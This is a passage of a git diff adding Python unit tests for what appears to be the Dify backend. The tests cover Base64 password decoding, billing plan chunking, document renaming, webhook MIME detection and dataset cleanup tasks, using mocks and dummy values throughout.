+        """Test that invalid base64 passwords return None."""
+        invalid = "PlainPassword!@#"
+        result = FieldEncryption.decrypt_password(invalid)
+        # Should return None (decoding failed)
+        assert result is None
+
+
+class TestDecodeVerificationCode:
+    """Test cases for verification code decoding."""
+
+    def test_decode_code_base64(self):
+        """Test decoding a Base64 encoded verification code."""
+        code = "789012"
+        encoded = base64.b64encode(code.encode("utf-8")).decode()
+
+        result = FieldEncryption.decrypt_verification_code(encoded)
+        assert result == code
+
+    def test_decode_code_invalid_returns_none(self):
+        """Test that invalid base64 codes return None."""
+        invalid = "123456"  # Plain 6-digit code, not base64
+        result = FieldEncryption.decrypt_verification_code(invalid)
+        # Should return None (decoding failed)
+        assert result is None
+
+
+class TestRoundTripEncodingDecoding:
+    """
+    Integration tests for complete encoding-decoding cycle.
+    These tests simulate the full frontend-to-backend flow using Base64.
+    """
+
+    def test_roundtrip_password(self):
+        """Test encoding and decoding a password."""
+        original_password = "SecureP@ssw0rd!"
+
+        # Simulate frontend encoding (Base64)
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+
+        # Backend decoding
+        decoded = FieldEncryption.decrypt_password(encoded)
+
+        assert decoded == original_password
+
+    def test_roundtrip_verification_code(self):
+        """Test encoding and decoding a verification code."""
+        original_code = "123456"
+
+        # Simulate frontend encoding
+        encoded = base64.b64encode(original_code.encode("utf-8")).decode()
+
+        # Backend decoding
+        decoded = FieldEncryption.decrypt_verification_code(encoded)
+
+        assert decoded == original_code
+
+    def test_roundtrip_unicode_password(self):
+        """Test encoding and decoding password with Unicode characters."""
+        original_password = "密码Test123!@#"
+
+        # Frontend encoding
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+
+        # Backend decoding
+        decoded = FieldEncryption.decrypt_password(encoded)
+
+        assert decoded == original_password
+
+    def test_roundtrip_long_password(self):
+        """Test encoding and decoding a long password."""
+        original_password = "ThisIsAVeryLongPasswordWithLotsOfCharacters123!@#$%^&*()"
+
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+        decoded = FieldEncryption.decrypt_password(encoded)
+
+        assert decoded == original_password
+
+    def test_roundtrip_with_whitespace(self):
+        """Test encoding and decoding with whitespace."""
+        original_password = "pass word with spaces"
+
+        encoded = base64.b64encode(original_password.encode("utf-8")).decode()
+        decoded = FieldEncryption.decrypt_field(encoded)
+
+        assert decoded == original_password
diff --git a/api/tests/unit_tests/oss/__mock/base.py b/api/tests/unit_tests/oss/__mock/base.py
index 974c462289..5bde461d94 100644
--- a/api/tests/unit_tests/oss/__mock/base.py
+++ b/api/tests/unit_tests/oss/__mock/base.py
@@ -14,7 +14,9 @@ def get_example_bucket() -> str:
 
 
 def get_opendal_bucket() -> str:
-    return "./dify"
+    import os
+
+    return os.environ.get("OPENDAL_FS_ROOT", "/tmp/dify-storage")
 
 
 def get_example_filename() -> str:
diff --git a/api/tests/unit_tests/oss/opendal/test_opendal.py b/api/tests/unit_tests/oss/opendal/test_opendal.py
index 2496aabbce..b83ad72b34 100644
--- a/api/tests/unit_tests/oss/opendal/test_opendal.py
+++ b/api/tests/unit_tests/oss/opendal/test_opendal.py
@@ -21,20 +21,16 @@ class TestOpenDAL:
         )
 
     @pytest.fixture(scope="class", autouse=True)
-    def teardown_class(self, request):
+    def teardown_class(self):
         """Clean up after all tests in the class."""
 
-        def cleanup():
-            folder = Path(get_opendal_bucket())
-            if folder.exists() and folder.is_dir():
-                for item in folder.iterdir():
-                    if item.is_file():
-                        item.unlink()
-                    elif item.is_dir():
-                        item.rmdir()
-                folder.rmdir()
+        yield
 
-        return cleanup()
+        folder = Path(get_opendal_bucket())
+        if folder.exists() and folder.is_dir():
+            import shutil
+
+            shutil.rmtree(folder, ignore_errors=True)
 
     def test_save_and_exists(self):
         """Test saving data and checking existence."""
diff --git a/api/tests/unit_tests/services/test_billing_service.py b/api/tests/unit_tests/services/test_billing_service.py
index 915aee3fa7..f50f744a75 100644
--- a/api/tests/unit_tests/services/test_billing_service.py
+++ b/api/tests/unit_tests/services/test_billing_service.py
@@ -1156,6 +1156,199 @@ class TestBillingServiceEdgeCases:
             assert "Only team owner or team admin can perform this action" in str(exc_info.value)
 
 
+class TestBillingServiceSubscriptionOperations:
+    """Unit tests for subscription operations in BillingService.
+
+    Tests cover:
+    - Bulk plan retrieval with chunking
+    - Expired subscription cleanup whitelist retrieval
+    """
+
+    @pytest.fixture
+    def mock_send_request(self):
+        """Mock _send_request method."""
+        with patch.object(BillingService, "_send_request") as mock:
+            yield mock
+
+    def test_get_plan_bulk_with_empty_list(self, mock_send_request):
+        """Test bulk plan retrieval with empty tenant list."""
+        # Arrange
+        tenant_ids = []
+
+        # Act
+        result = BillingService.get_plan_bulk(tenant_ids)
+
+        # Assert
+        assert result == {}
+        mock_send_request.assert_not_called()
+
+    def test_get_plan_bulk_with_chunking(self, mock_send_request):
+        """Test bulk plan retrieval with more than 200 tenants (chunking logic)."""
+        # Arrange - 250 tenants to test chunking (chunk_size = 200)
+        tenant_ids = [f"tenant-{i}" for i in range(250)]
+
+        # First chunk: tenants 0-199
+        first_chunk_response = {
+            "data": {f"tenant-{i}": {"plan": "sandbox", "expiration_date": 1735689600} for i in range(200)}
+        }
+
+        # Second chunk: tenants 200-249
+        second_chunk_response = {
+            "data": {f"tenant-{i}": {"plan": "professional", "expiration_date": 1767225600} for i in range(200, 250)}
+        }
+
+        mock_send_request.side_effect = [first_chunk_response, second_chunk_response]
+
+        # Act
+        result = BillingService.get_plan_bulk(tenant_ids)
+
+        # Assert
+        assert len(result) == 250
+        assert result["tenant-0"]["plan"] == "sandbox"
+        assert result["tenant-199"]["plan"] == "sandbox"
+        assert result["tenant-200"]["plan"] == "professional"
+        assert result["tenant-249"]["plan"] == "professional"
+        assert mock_send_request.call_count == 2
+
+        # Verify first chunk call
+        first_call = mock_send_request.call_args_list[0]
+        assert first_call[0][0] == "POST"
+        assert first_call[0][1] == "/subscription/plan/batch"
+        assert len(first_call[1]["json"]["tenant_ids"]) == 200
+
+        # Verify second chunk call
+        second_call = mock_send_request.call_args_list[1]
+        assert len(second_call[1]["json"]["tenant_ids"]) == 50
+
+    def test_get_plan_bulk_with_partial_batch_failure(self, mock_send_request):
+        """Test bulk plan retrieval when one batch fails but others succeed."""
+        # Arrange - 250 tenants, second batch will fail
+        tenant_ids = [f"tenant-{i}" for i in range(250)]
+
+        # First chunk succeeds
+        first_chunk_response = {
+            "data": {f"tenant-{i}": {"plan": "sandbox", "expiration_date": 1735689600} for i in range(200)}
+        }
+
+        # Second chunk fails - need to create a mock that raises when called
+        def side_effect_func(*args, **kwargs):
+            if mock_send_request.call_count == 1:
+                return first_chunk_response
+            else:
+                raise ValueError("API error")
+
+        mock_send_request.side_effect = side_effect_func
+
+        # Act
+        result = BillingService.get_plan_bulk(tenant_ids)
+
+        # Assert - should only have data from first batch
+        assert len(result) == 200
+        assert result["tenant-0"]["plan"] == "sandbox"
+        assert result["tenant-199"]["plan"] == "sandbox"
+        assert "tenant-200" not in result
+        assert mock_send_request.call_count == 2
+
+    def test_get_plan_bulk_with_all_batches_failing(self, mock_send_request):
+        """Test bulk plan retrieval when all batches fail."""
+        # Arrange
+        tenant_ids = [f"tenant-{i}" for i in range(250)]
+
+        # All chunks fail
+        def side_effect_func(*args, **kwargs):
+            raise ValueError("API error")
+
+        mock_send_request.side_effect = side_effect_func
+
+        # Act
+        result = BillingService.get_plan_bulk(tenant_ids)
+
+        # Assert - should return empty dict
+        assert result == {}
+        assert mock_send_request.call_count == 2
+
+    def test_get_plan_bulk_with_exactly_200_tenants(self, mock_send_request):
+        """Test bulk plan retrieval with exactly 200 tenants (boundary condition)."""
+        # Arrange
+        tenant_ids = [f"tenant-{i}" for i in range(200)]
+        mock_send_request.return_value = {
+            "data": {f"tenant-{i}": {"plan": "sandbox", "expiration_date": 1735689600} for i in range(200)}
+        }
+
+        # Act
+        result = BillingService.get_plan_bulk(tenant_ids)
+
+        # Assert
+        assert len(result) == 200
+        assert mock_send_request.call_count == 1
+
+    def test_get_plan_bulk_with_empty_data_response(self, mock_send_request):
+        """Test bulk plan retrieval with empty data in response."""
+        # Arrange
+        tenant_ids = ["tenant-1", "tenant-2"]
+        mock_send_request.return_value = {"data": {}}
+
+        # Act
+        result = BillingService.get_plan_bulk(tenant_ids)
+
+        # Assert
+        assert result == {}
+
+    def test_get_expired_subscription_cleanup_whitelist_success(self, mock_send_request):
+        """Test successful retrieval of expired subscription cleanup whitelist."""
+        # Arrange
+        api_response = [
+            {
+                "created_at": "2025-10-16T01:56:17",
+                "tenant_id": "36bd55ec-2ea9-4d75-a9ea-1f26aeb4ffe6",
+                "contact": "example@dify.ai",
+                "id": "36bd55ec-2ea9-4d75-a9ea-1f26aeb4ffe5",
+                "expired_at": "2026-01-01T01:56:17",
+                "updated_at": "2025-10-16T01:56:17",
+            },
+            {
+                "created_at": "2025-10-16T02:00:00",
+                "tenant_id": "tenant-2",
+                "contact": "test@example.com",
+                "id": "whitelist-id-2",
+                "expired_at": "2026-02-01T00:00:00",
+                "updated_at": "2025-10-16T02:00:00",
+            },
+            {
+                "created_at": "2025-10-16T03:00:00",
+                "tenant_id": "tenant-3",
+                "contact": "another@example.com",
+                "id": "whitelist-id-3",
+                "expired_at": "2026-03-01T00:00:00",
+                "updated_at": "2025-10-16T03:00:00",
+            },
+        ]
+        mock_send_request.return_value = {"data": api_response}
+
+        # Act
+        result = BillingService.get_expired_subscription_cleanup_whitelist()
+
+        # Assert - should return only tenant_ids
+        assert result == ["36bd55ec-2ea9-4d75-a9ea-1f26aeb4ffe6", "tenant-2", "tenant-3"]
+        assert len(result) == 3
+        assert result[0] == "36bd55ec-2ea9-4d75-a9ea-1f26aeb4ffe6"
+        assert result[1] == "tenant-2"
+        assert result[2] == "tenant-3"
+        mock_send_request.assert_called_once_with("GET", "/subscription/cleanup/whitelist")
+
+    def test_get_expired_subscription_cleanup_whitelist_empty_list(self, mock_send_request):
+        """Test retrieval of empty cleanup whitelist."""
+        # Arrange
+        mock_send_request.return_value = {"data": []}
+
+        # Act
+        result = BillingService.get_expired_subscription_cleanup_whitelist()
+
+        # Assert
+        assert result == []
+        assert len(result) == 0
+
+
 class TestBillingServiceIntegrationScenarios:
     """Integration-style tests simulating real-world usage scenarios.
 
diff --git a/api/tests/unit_tests/services/test_document_service_rename_document.py b/api/tests/unit_tests/services/test_document_service_rename_document.py
new file mode 100644
index 0000000000..94850ecb09
--- /dev/null
+++ b/api/tests/unit_tests/services/test_document_service_rename_document.py
@@ -0,0 +1,176 @@
+from types import SimpleNamespace
+from unittest.mock import Mock, create_autospec, patch
+
+import pytest
+
+from models import Account
+from services.dataset_service import DocumentService
+
+
+@pytest.fixture
+def mock_env():
+    """Patch dependencies used by DocumentService.rename_document.
+
+    Mocks:
+      - DatasetService.get_dataset
+      - DocumentService.get_document
+      - current_user (with current_tenant_id)
+      - db.session
+    """
+    with (
+        patch("services.dataset_service.DatasetService.get_dataset") as get_dataset,
+        patch("services.dataset_service.DocumentService.get_document") as get_document,
+        patch("services.dataset_service.current_user", create_autospec(Account, instance=True)) as current_user,
+        patch("extensions.ext_database.db.session") as db_session,
+    ):
+        current_user.current_tenant_id = "tenant-123"
+        yield {
+            "get_dataset": get_dataset,
+            "get_document": get_document,
+            "current_user": current_user,
+            "db_session": db_session,
+        }
+
+
+def make_dataset(dataset_id="dataset-123", tenant_id="tenant-123", built_in_field_enabled=False):
+    return SimpleNamespace(id=dataset_id, tenant_id=tenant_id, built_in_field_enabled=built_in_field_enabled)
+
+
+def make_document(
+    document_id="document-123",
+    dataset_id="dataset-123",
+    tenant_id="tenant-123",
+    name="Old Name",
+    data_source_info=None,
+    doc_metadata=None,
+):
+    doc = Mock()
+    doc.id = document_id
+    doc.dataset_id = dataset_id
+    doc.tenant_id = tenant_id
+    doc.name = name
+    doc.data_source_info = data_source_info or {}
+    # property-like usage in code relies on a dict
+    doc.data_source_info_dict = dict(doc.data_source_info)
+    doc.doc_metadata = dict(doc_metadata or {})
+    return doc
+
+
+def test_rename_document_success(mock_env):
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "New Document Name"
+
+    dataset = make_dataset(dataset_id)
+    document = make_document(document_id=document_id, dataset_id=dataset_id)
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    result = DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert result is document
+    assert document.name == new_name
+    mock_env["db_session"].add.assert_called_once_with(document)
+    mock_env["db_session"].commit.assert_called_once()
+
+
+def test_rename_document_with_built_in_fields(mock_env):
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "Renamed"
+
+    dataset = make_dataset(dataset_id, built_in_field_enabled=True)
+    document = make_document(document_id=document_id, dataset_id=dataset_id, doc_metadata={"foo": "bar"})
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert document.name == new_name
+    # BuiltInField.document_name == "document_name" in service code
+    assert document.doc_metadata["document_name"] == new_name
+    assert document.doc_metadata["foo"] == "bar"
+
+
+def test_rename_document_updates_upload_file_when_present(mock_env):
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "Renamed"
+    file_id = "file-123"
+
+    dataset = make_dataset(dataset_id)
+    document = make_document(
+        document_id=document_id,
+        dataset_id=dataset_id,
+        data_source_info={"upload_file_id": file_id},
+    )
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    # Intercept UploadFile rename UPDATE chain
+    mock_query = Mock()
+    mock_query.where.return_value = mock_query
+    mock_env["db_session"].query.return_value = mock_query
+
+    DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert document.name == new_name
+    mock_env["db_session"].query.assert_called()  # update executed
+
+
+def test_rename_document_does_not_update_upload_file_when_missing_id(mock_env):
+    """
+    When data_source_info_dict exists but does not contain "upload_file_id",
+    UploadFile should not be updated.
+    """
+    dataset_id = "dataset-123"
+    document_id = "document-123"
+    new_name = "Another Name"
+
+    dataset = make_dataset(dataset_id)
+    # Ensure data_source_info_dict is truthy but lacks the key
+    document = make_document(
+        document_id=document_id,
+        dataset_id=dataset_id,
+        data_source_info={"url": "https://example.com"},
+    )
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    DocumentService.rename_document(dataset_id, document_id, new_name)
+
+    assert document.name == new_name
+    # Should NOT attempt to update UploadFile
+    mock_env["db_session"].query.assert_not_called()
+
+
+def test_rename_document_dataset_not_found(mock_env):
+    mock_env["get_dataset"].return_value = None
+
+    with pytest.raises(ValueError, match="Dataset not found"):
+        DocumentService.rename_document("missing", "doc", "x")
+
+
+def test_rename_document_not_found(mock_env):
+    dataset = make_dataset("dataset-123")
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = None
+
+    with pytest.raises(ValueError, match="Document not found"):
+        DocumentService.rename_document(dataset.id, "missing", "x")
+
+
+def test_rename_document_permission_denied_when_tenant_mismatch(mock_env):
+    dataset = make_dataset("dataset-123")
+    # different tenant than current_user.current_tenant_id
+    document = make_document(dataset_id=dataset.id, tenant_id="tenant-other")
+
+    mock_env["get_dataset"].return_value = dataset
+    mock_env["get_document"].return_value = document
+
+    with pytest.raises(ValueError, match="No permission"):
+        DocumentService.rename_document(dataset.id, document.id, "x")
diff --git a/api/tests/unit_tests/services/test_variable_truncator.py b/api/tests/unit_tests/services/test_variable_truncator.py
index cf6fb25c1c..ec819ae57a 100644
--- a/api/tests/unit_tests/services/test_variable_truncator.py
+++ b/api/tests/unit_tests/services/test_variable_truncator.py
@@ -518,6 +518,55 @@ class TestEdgeCases:
         assert isinstance(result.result, StringSegment)
 
 
+class TestTruncateJsonPrimitives:
+    """Test _truncate_json_primitives method with different data types."""
+
+    @pytest.fixture
+    def truncator(self):
+        return VariableTruncator()
+
+    def test_truncate_json_primitives_file_type(self, truncator, file):
+        """Test that File objects are handled correctly in _truncate_json_primitives."""
+        # Test File object is returned as-is without truncation
+        result = truncator._truncate_json_primitives(file, 1000)
+
+        assert result.value == file
+        assert result.truncated is False
+        # Size should be calculated correctly
+        expected_size = VariableTruncator.calculate_json_size(file)
+        assert result.value_size == expected_size
+
+    def test_truncate_json_primitives_file_type_small_budget(self, truncator, file):
+        """Test that File objects are returned as-is even with small budget."""
+        # Even with a small size budget, File objects should not be truncated
+        result = truncator._truncate_json_primitives(file, 10)
+
+        assert result.value == file
+        assert result.truncated is False
+
+    def test_truncate_json_primitives_file_type_in_array(self, truncator, file):
+        """Test File objects in arrays are handled correctly."""
+        array_with_files = [file, file]
+        result = truncator._truncate_json_primitives(array_with_files, 1000)
+
+        assert isinstance(result.value, list)
+        assert len(result.value) == 2
+        assert result.value[0] == file
+        assert result.value[1] == file
+        assert result.truncated is False
+
+    def test_truncate_json_primitives_file_type_in_object(self, truncator, file):
+        """Test File objects in objects are handled correctly."""
+        obj_with_files = {"file1": file, "file2": file}
+        result = truncator._truncate_json_primitives(obj_with_files, 1000)
+
+        assert isinstance(result.value, dict)
+        assert len(result.value) == 2
+        assert result.value["file1"] == file
+        assert result.value["file2"] == file
+        assert result.truncated is False
+
+
 class TestIntegrationScenarios:
     """Test realistic integration scenarios."""
 
diff --git a/api/tests/unit_tests/services/test_webhook_service.py b/api/tests/unit_tests/services/test_webhook_service.py
index 6afe52d97b..d788657589 100644
--- a/api/tests/unit_tests/services/test_webhook_service.py
+++ b/api/tests/unit_tests/services/test_webhook_service.py
@@ -82,19 +82,19 @@ class TestWebhookServiceUnit:
             "/webhook",
             method="POST",
             headers={"Content-Type": "multipart/form-data"},
-            data={"message": "test", "upload": file_storage},
+            data={"message": "test", "file": file_storage},
         ):
             webhook_trigger = MagicMock()
             webhook_trigger.tenant_id = "test_tenant"
 
             with patch.object(WebhookService, "_process_file_uploads") as mock_process_files:
-                mock_process_files.return_value = {"upload": "mocked_file_obj"}
+                mock_process_files.return_value = {"file": "mocked_file_obj"}
 
                 webhook_data = WebhookService.extract_webhook_data(webhook_trigger)
 
                 assert webhook_data["method"] == "POST"
                 assert webhook_data["body"]["message"] == "test"
-                assert webhook_data["files"]["upload"] == "mocked_file_obj"
+                assert webhook_data["files"]["file"] == "mocked_file_obj"
                 mock_process_files.assert_called_once()
 
     def test_extract_webhook_data_raw_text(self):
@@ -110,6 +110,70 @@ class TestWebhookServiceUnit:
             assert webhook_data["method"] == "POST"
             assert webhook_data["body"]["raw"] == "raw text content"
 
+    def test_extract_octet_stream_body_uses_detected_mime(self):
+        """Octet-stream uploads should rely on detected MIME type."""
+        app = Flask(__name__)
+        binary_content = b"plain text data"
+
+        with app.test_request_context(
+            "/webhook", method="POST", headers={"Content-Type": "application/octet-stream"}, data=binary_content
+        ):
+            webhook_trigger = MagicMock()
+            mock_file = MagicMock()
+            mock_file.to_dict.return_value = {"file": "data"}
+
+            with (
+                patch.object(WebhookService, "_detect_binary_mimetype", return_value="text/plain") as mock_detect,
+                patch.object(WebhookService, "_create_file_from_binary") as mock_create,
+            ):
+                mock_create.return_value = mock_file
+                body, files = WebhookService._extract_octet_stream_body(webhook_trigger)
+
+            assert body["raw"] == {"file": "data"}
+            assert files == {}
+            mock_detect.assert_called_once_with(binary_content)
+            mock_create.assert_called_once()
+            args = mock_create.call_args[0]
+            assert args[0] == binary_content
+            assert args[1] == "text/plain"
+            assert args[2] is webhook_trigger
+
+    def test_detect_binary_mimetype_uses_magic(self, monkeypatch):
+        """python-magic output should be used when available."""
+        fake_magic = MagicMock()
+        fake_magic.from_buffer.return_value = "image/png"
+        monkeypatch.setattr("services.trigger.webhook_service.magic", fake_magic)
+
+        result = WebhookService._detect_binary_mimetype(b"binary data")
+
+        assert result == "image/png"
+        fake_magic.from_buffer.assert_called_once()
+
+    def test_detect_binary_mimetype_fallback_without_magic(self, monkeypatch):
+        """Fallback MIME type should be used when python-magic is unavailable."""
+        monkeypatch.setattr("services.trigger.webhook_service.magic", None)
+
+        result = WebhookService._detect_binary_mimetype(b"binary data")
+
+        assert result == "application/octet-stream"
+
+    def test_detect_binary_mimetype_handles_magic_exception(self, monkeypatch):
+        """Fallback MIME type should be used when python-magic raises an exception."""
+        try:
+            import magic as real_magic
+        except ImportError:
+            pytest.skip("python-magic is not installed")
+
+        fake_magic = MagicMock()
+        fake_magic.from_buffer.side_effect = real_magic.MagicException("magic error")
+        monkeypatch.setattr("services.trigger.webhook_service.magic", fake_magic)
+
+        with patch("services.trigger.webhook_service.logger") as mock_logger:
+            result = WebhookService._detect_binary_mimetype(b"binary data")
+
+            assert result == "application/octet-stream"
+            mock_logger.debug.assert_called_once()
+
     def test_extract_webhook_data_invalid_json(self):
         """Test webhook data extraction with invalid JSON."""
         app = Flask(__name__)
diff --git a/api/tests/unit_tests/tasks/test_clean_dataset_task.py b/api/tests/unit_tests/tasks/test_clean_dataset_task.py
new file mode 100644
index 0000000000..bace66bec4
--- /dev/null
+++ b/api/tests/unit_tests/tasks/test_clean_dataset_task.py
@@ -0,0 +1,1232 @@
+"""
+Unit tests for clean_dataset_task.
+
+This module tests the dataset cleanup task functionality including:
+- Basic cleanup of documents and segments
+- Vector database cleanup with IndexProcessorFactory
+- Storage file deletion
+- Invalid doc_form handling with default fallback
+- Error handling and database session rollback
+- Pipeline and workflow deletion
+- Segment attachment cleanup
+"""
+
+import uuid
+from unittest.mock import MagicMock, patch
+
+import pytest
+
+from tasks.clean_dataset_task import clean_dataset_task
+
+# ============================================================================
+# Fixtures
+# ============================================================================
+
+
+@pytest.fixture
+def tenant_id():
+    """Generate a unique tenant ID for testing."""
+    return str(uuid.uuid4())
+
+
+@pytest.fixture
+def dataset_id():
+    """Generate a unique dataset ID for testing."""
+    return str(uuid.uuid4())
+
+
+@pytest.fixture
+def collection_binding_id():
+    """Generate a unique collection binding ID for testing."""
+    return str(uuid.uuid4())
+
+
+@pytest.fixture
+def pipeline_id():
+    """Generate a unique pipeline ID for testing."""
+    return str(uuid.uuid4())
+
+
+@pytest.fixture
+def mock_db_session():
+    """Mock database session with query capabilities."""
+    with patch("tasks.clean_dataset_task.db") as mock_db:
+        mock_session = MagicMock()
+        mock_db.session = mock_session
+
+        # Setup query chain
+        mock_query = MagicMock()
+        mock_session.query.return_value = mock_query
+        mock_query.where.return_value = mock_query
+        mock_query.delete.return_value = 0
+
+        # Setup scalars for select queries
+        mock_session.scalars.return_value.all.return_value = []
+
+        # Setup execute for JOIN queries
+        mock_session.execute.return_value.all.return_value = []
+
+        yield mock_db
+
+
+@pytest.fixture
+def mock_storage():
+    """Mock storage client."""
+    with patch("tasks.clean_dataset_task.storage") as mock_storage:
+        mock_storage.delete.return_value = None
+        yield mock_storage
+
+
+@pytest.fixture
+def mock_index_processor_factory():
+    """Mock IndexProcessorFactory."""
+    with patch("tasks.clean_dataset_task.IndexProcessorFactory") as mock_factory:
+        mock_processor = MagicMock()
+        mock_processor.clean.return_value = None
+        mock_factory_instance = MagicMock()
+        mock_factory_instance.init_index_processor.return_value = mock_processor
+        mock_factory.return_value = mock_factory_instance
+
+        yield {
+            "factory": mock_factory,
+            "factory_instance": mock_factory_instance,
+            "processor": mock_processor,
+        }
+
+
+@pytest.fixture
+def mock_get_image_upload_file_ids():
+    """Mock get_image_upload_file_ids function."""
+    with patch("tasks.clean_dataset_task.get_image_upload_file_ids") as mock_func:
+        mock_func.return_value = []
+        yield mock_func
+
+
+@pytest.fixture
+def mock_document():
+    """Create a mock Document object."""
+    doc = MagicMock()
+    doc.id = str(uuid.uuid4())
+    doc.tenant_id = str(uuid.uuid4())
+    doc.dataset_id = str(uuid.uuid4())
+    doc.data_source_type = "upload_file"
+    doc.data_source_info = '{"upload_file_id": "test-file-id"}'
+    doc.data_source_info_dict = {"upload_file_id": "test-file-id"}
+    return doc
+
+
+@pytest.fixture
+def mock_segment():
+    """Create a mock DocumentSegment object."""
+    segment = MagicMock()
+    segment.id = str(uuid.uuid4())
+    segment.content = "Test segment content"
+    return segment
+
+
+@pytest.fixture
+def mock_upload_file():
+    """Create a mock UploadFile object."""
+    upload_file = MagicMock()
+    upload_file.id = str(uuid.uuid4())
+    upload_file.key = f"test_files/{uuid.uuid4()}.txt"
+    return upload_file
+
+
+# ============================================================================
+# Test Basic Cleanup
+# ============================================================================
+
+
+class TestBasicCleanup:
+    """Test cases for basic dataset cleanup functionality."""
+
+    def test_clean_dataset_task_empty_dataset(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test cleanup of an empty dataset with no documents or segments.
+
+        Scenario:
+        - Dataset has no documents or segments
+        - Should still clean vector database and delete related records
+
+        Expected behavior:
+        - IndexProcessorFactory is called to clean vector database
+        - No storage deletions occur
+        - Related records (DatasetProcessRule, etc.) are deleted
+        - Session is committed and closed
+        """
+        # Arrange
+        mock_db_session.session.scalars.return_value.all.return_value = []
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_index_processor_factory["factory"].assert_called_once_with("paragraph_index")
+        mock_index_processor_factory["processor"].clean.assert_called_once()
+        mock_storage.delete.assert_not_called()
+        mock_db_session.session.commit.assert_called_once()
+        mock_db_session.session.close.assert_called_once()
+
+    def test_clean_dataset_task_with_documents_and_segments(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+        mock_document,
+        mock_segment,
+    ):
+        """
+        Test cleanup of dataset with documents and segments.
+
+        Scenario:
+        - Dataset has one document and one segment
+        - No image files in segment content
+
+        Expected behavior:
+        - Documents and segments are deleted
+        - Vector database is cleaned
+        - Session is committed
+        """
+        # Arrange
+        mock_db_session.session.scalars.return_value.all.side_effect = [
+            [mock_document],  # documents
+            [mock_segment],  # segments
+        ]
+        mock_get_image_upload_file_ids.return_value = []
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert
+        mock_db_session.session.delete.assert_any_call(mock_document)
+        mock_db_session.session.delete.assert_any_call(mock_segment)
+        mock_db_session.session.commit.assert_called_once()
+
+    def test_clean_dataset_task_deletes_related_records(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that all related records are deleted.
+
+        Expected behavior:
+        - DatasetProcessRule records are deleted
+        - DatasetQuery records are deleted
+        - AppDatasetJoin records are deleted
+        - DatasetMetadata records are deleted
+        - DatasetMetadataBinding records are deleted
+        """
+        # Arrange
+        mock_query = mock_db_session.session.query.return_value
+        mock_query.where.return_value = mock_query
+        mock_query.delete.return_value = 1
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form="paragraph_index",
+        )
+
+        # Assert - verify query.where.delete was called multiple times
+        # for different models (DatasetProcessRule, DatasetQuery, etc.)
+        assert mock_query.delete.call_count >= 5
+
+
+# ============================================================================
+# Test Doc Form Validation
+# ============================================================================
+
+
+class TestDocFormValidation:
+    """Test cases for doc_form validation and default fallback."""
+
+    @pytest.mark.parametrize(
+        "invalid_doc_form",
+        [
+            None,
+            "",
+            "   ",
+            "\t",
+            "\n",
+            "  \t\n  ",
+        ],
+    )
+    def test_clean_dataset_task_invalid_doc_form_uses_default(
+        self,
+        invalid_doc_form,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that invalid doc_form values use default paragraph index type.
+
+        Scenario:
+        - doc_form is None, empty, or whitespace-only
+        - Should use default IndexStructureType.PARAGRAPH_INDEX
+
+        Expected behavior:
+        - Default index type is used for cleanup
+        - No errors are raised
+        - Cleanup proceeds normally
+        """
+        # Arrange - import to verify the default value
+        from core.rag.index_processor.constant.index_type import IndexStructureType
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form=invalid_doc_form,
+        )
+
+        # Assert - IndexProcessorFactory should be called with default type
+        mock_index_processor_factory["factory"].assert_called_once_with(IndexStructureType.PARAGRAPH_INDEX)
+        mock_index_processor_factory["processor"].clean.assert_called_once()
+
+    def test_clean_dataset_task_valid_doc_form_used_directly(
+        self,
+        dataset_id,
+        tenant_id,
+        collection_binding_id,
+        mock_db_session,
+        mock_storage,
+        mock_index_processor_factory,
+        mock_get_image_upload_file_ids,
+    ):
+        """
+        Test that valid doc_form values are used directly.
+
+        Expected behavior:
+        - Provided doc_form is passed to IndexProcessorFactory
+        """
+        # Arrange
+        valid_doc_form = "qa_index"
+
+        # Act
+        clean_dataset_task(
+            dataset_id=dataset_id,
+            tenant_id=tenant_id,
+            indexing_technique="high_quality",
+            index_struct='{"type": "paragraph"}',
+            collection_binding_id=collection_binding_id,
+            doc_form=valid_doc_form,
+        )
+
+        # Assert
